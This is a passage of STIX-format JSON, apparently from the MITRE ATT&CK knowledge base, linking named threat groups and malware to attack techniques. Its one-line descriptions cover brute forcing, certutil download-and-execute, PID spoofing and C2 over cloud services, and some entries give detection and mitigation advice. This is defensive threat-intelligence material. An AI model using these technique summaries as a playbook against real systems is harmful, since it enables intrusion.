"relationship--3222edc5-bed6-4e8f-b62b-d76040754218", "type": "relationship", "created": "2019-04-17T18:43:36.299Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/", "source_name": "CheckPoint SpeakUp Feb 2019"}], "modified": "2020-03-29T16:41:33.248Z", "description": "[SpeakUp](https://attack.mitre.org/software/S0374) can perform brute forcing using a pre-defined list of usernames and passwords in an attempt to log in to administrative panels. (Citation: CheckPoint SpeakUp Feb 2019)", "relationship_type": "uses", "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--322703cc-c8f9-4046-8a61-e165a2d11bc7", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", "source_name": "Unit 42 C0d0so0 Jan 2016"}], "modified": "2019-04-25T11:39:52.002Z", "description": "[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim\u2019s machine.(Citation: Unit 42 C0d0so0 Jan 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--322876d6-1b49-43d8-9e4a-590919d1f930", "type": "relationship", "created": "2020-06-11T19:52:07.232Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-06-11T19:52:07.232Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has used uname -m to collect the name and information about the infected system's kernel.(Citation: Anomali Rocke March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--322a78a2-1765-414f-9b07-29a1360e1134", "type": "relationship", "created": "2020-11-16T20:05:31.231Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-16T20:05:31.231Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can download and execute a replica of itself using [certutil](https://attack.mitre.org/software/S0160).(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--322fcce0-fe46-48f2-b57c-01b73b316339", "created": "2022-08-08T19:53:16.516Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[POLONIUM](https://attack.mitre.org/groups/G1005) has used OneDrive and DropBox for C2.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-08T19:53:16.516Z", "relationship_type": "uses", "source_ref": "intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3231ef46-26f9-4711-adfe-cfa68425f848", "created": "2022-01-06T20:23:01.566Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Malwarebytes Konni Aug 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "description": "Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KONNI](https://attack.mitre.org/software/S0356) has used parent PID spoofing to spawn a new `cmd` process using `CreateProcessW` and a handle to `Taskmgr.exe`.(Citation: Malwarebytes Konni Aug 2021) ", "modified": "2022-04-18T19:48:24.407Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--323269a9-56d0-45d5-8010-652657841f0e", "created": "2024-03-11T18:03:50.288Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-11T18:08:28.255Z", "description": "[FRAMESTING](https://attack.mitre.org/software/S1120) can retrieve C2 commands from values stored in the `DSID` cookie from the current HTTP request or from decompressed zlib data within the request's `POST` data.(Citation: Mandiant Cutting Edge Part 2 January 2024)", "relationship_type": "uses", "source_ref": "malware--bcaae558-9697-47a2-9ec7-c75000ddf58c", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3236ca50-2342-455a-b258-6a085cae8fc2", "type": "relationship", "created": "2019-03-26T17:48:52.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Emotet Jul 2018", "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."}, {"source_name": "US-CERT Emotet Jul 2018", "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A", "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."}, {"source_name": "Picus Emotet Dec 2018", "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html", "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. 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Retrieved May 26, 2020."}], "modified": "2020-06-25T13:59:09.943Z", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has made their XMRIG payloads persistent as a Windows Service.(Citation: RedCanary Mockingbird May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--328fdf30-3195-4d15-b99c-bf14cc236a90", "type": "relationship", "created": "2020-01-24T15:51:52.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", "source_name": "Microsoft W32Time May 2017"}], "modified": "2020-03-25T15:24:26.667Z", "description": "Consider using Group Policy to configure and block additions/modifications to W32Time DLLs. (Citation: Microsoft W32Time May 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--329424c6-bea7-4b20-9e32-2a7db75f6281", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2019-04-25T02:48:47.550Z", "description": "[SslMM](https://attack.mitre.org/software/S0058) has a hard-coded primary and backup C2 string.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3298bf92-55a2-49eb-aa5e-0530e8a51eeb", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}, {"source_name": "Github Koadic", "url": "https://github.com/zerosum0x0/koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Koadic](https://attack.mitre.org/software/S0250) can identify logged in users across the domain and views user sessions.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T19:40:36.914Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--329a2563-fc1b-4828-a6b7-d11d1d4ad429", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.", "source_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", "target_ref": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--329d115e-2a1d-443e-800c-d28f5f11d6b9", "type": "relationship", "created": "2020-10-01T18:55:37.399Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Oct 2018", "url": "https://www.justice.gov/opa/page/file/1098481/download", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}, {"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-08-31T17:00:17.979Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144, to gain execution on vulnerable Microsoft Exchange; they have also conducted SQL injection attacks against external websites.(Citation: US District Court Indictment GRU Oct 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--329e0df7-2d7b-44d6-8dc0-5074df2627b8", "created": "2022-03-30T14:26:51.863Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for API calls may attempt to get information about running processes on a system. ", "modified": "2022-04-20T13:07:28.542Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--329f545d-7ef4-4c43-9ce8-b56e7275e11f", "created": "2024-02-09T19:45:50.796Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T19:45:50.796Z", "description": "[SLIGHTPULSE](https://attack.mitre.org/software/S1110) can base64 encode all incoming and outgoing C2 messages.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Tasklist", "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover processes running on a system.(Citation: Microsoft Tasklist)", "relationship_type": "uses", "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32a62862-3dc9-4082-8570-d01abe25e00b", "type": "relationship", "created": "2022-02-02T15:25:50.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "modified": "2022-02-02T15:25:50.334Z", "description": "[LitePower](https://attack.mitre.org/software/S0680) can determine if the current user has admin privileges.(Citation: Kaspersky WIRTE November 2021)", "relationship_type": "uses", "source_ref": "malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32a6902a-b0bb-46c0-878a-2399e4cd4aeb", "type": "relationship", "created": "2021-06-29T15:19:53.152Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-29T15:19:53.152Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use HTTP in C2 communications.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32abb557-d923-4a6d-bda6-79a95063f298", "type": "relationship", "created": "2020-03-17T01:57:57.335Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-17T01:57:57.336Z", "description": "Adversaries can also use [NETEAGLE](https://attack.mitre.org/software/S0034) to establish an RDP connection with a controller over TCP/7519.", "relationship_type": "uses", "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32af5f8f-e219-4635-b8f1-d98f0913f4c0", "type": "relationship", "created": "2021-05-05T14:06:59.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2021-06-02T20:40:34.231Z", "description": "[LiteDuke](https://attack.mitre.org/software/S0513) has the ability to discover the proxy configuration of Firefox and/or Opera.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--95e2cbae-d82c-4f7b-b63c-16462015d35d", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32b0dfd5-4909-490e-83a4-963a30b44104", "type": "relationship", "created": "2020-03-12T18:51:45.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", "source_name": "Lookout Dark Caracal Jan 2018"}], "modified": "2020-03-12T18:51:45.867Z", "description": "[CrossRAT](https://attack.mitre.org/software/S0235) creates a Launch Agent on macOS.(Citation: Lookout Dark Caracal Jan 2018)", "relationship_type": "uses", "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--32b50ea5-7e1e-4253-b2b8-ba99a054c6d9", "created": "2023-09-05T18:03:30.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:34:13.636Z", "description": "[Sardonic](https://attack.mitre.org/software/S1085) can use a WMI event filter to invoke a command-line event consumer to gain persistence.(Citation: Bitdefender Sardonic Aug 2021)", "relationship_type": "uses", "source_ref": "malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32bb5463-c8b5-4ba1-bc13-b242548d5aba", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}, {"url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", "source_name": "Talos Group123"}], "modified": "2020-03-20T19:45:55.941Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32bc85f6-f022-4868-8934-bd00cc36f6d4", "type": "relationship", "created": "2020-12-29T18:53:14.974Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T18:53:14.974Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has searched local system resources to access sensitive documents.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32be4e3c-fa7f-4ec5-abee-2ed631d0494a", "type": "relationship", "created": "2020-09-29T15:45:28.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PWC WellMess July 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}, {"source_name": "CISA WellMess July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b", "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."}], "modified": "2020-10-06T15:44:25.251Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can execute PowerShell scripts received from C2.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32bebd4b-6bbe-4a4e-86a1-0c49fda51259", "type": "relationship", "created": "2020-05-20T19:05:37.549Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Pirate Panda April 2020", "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z", 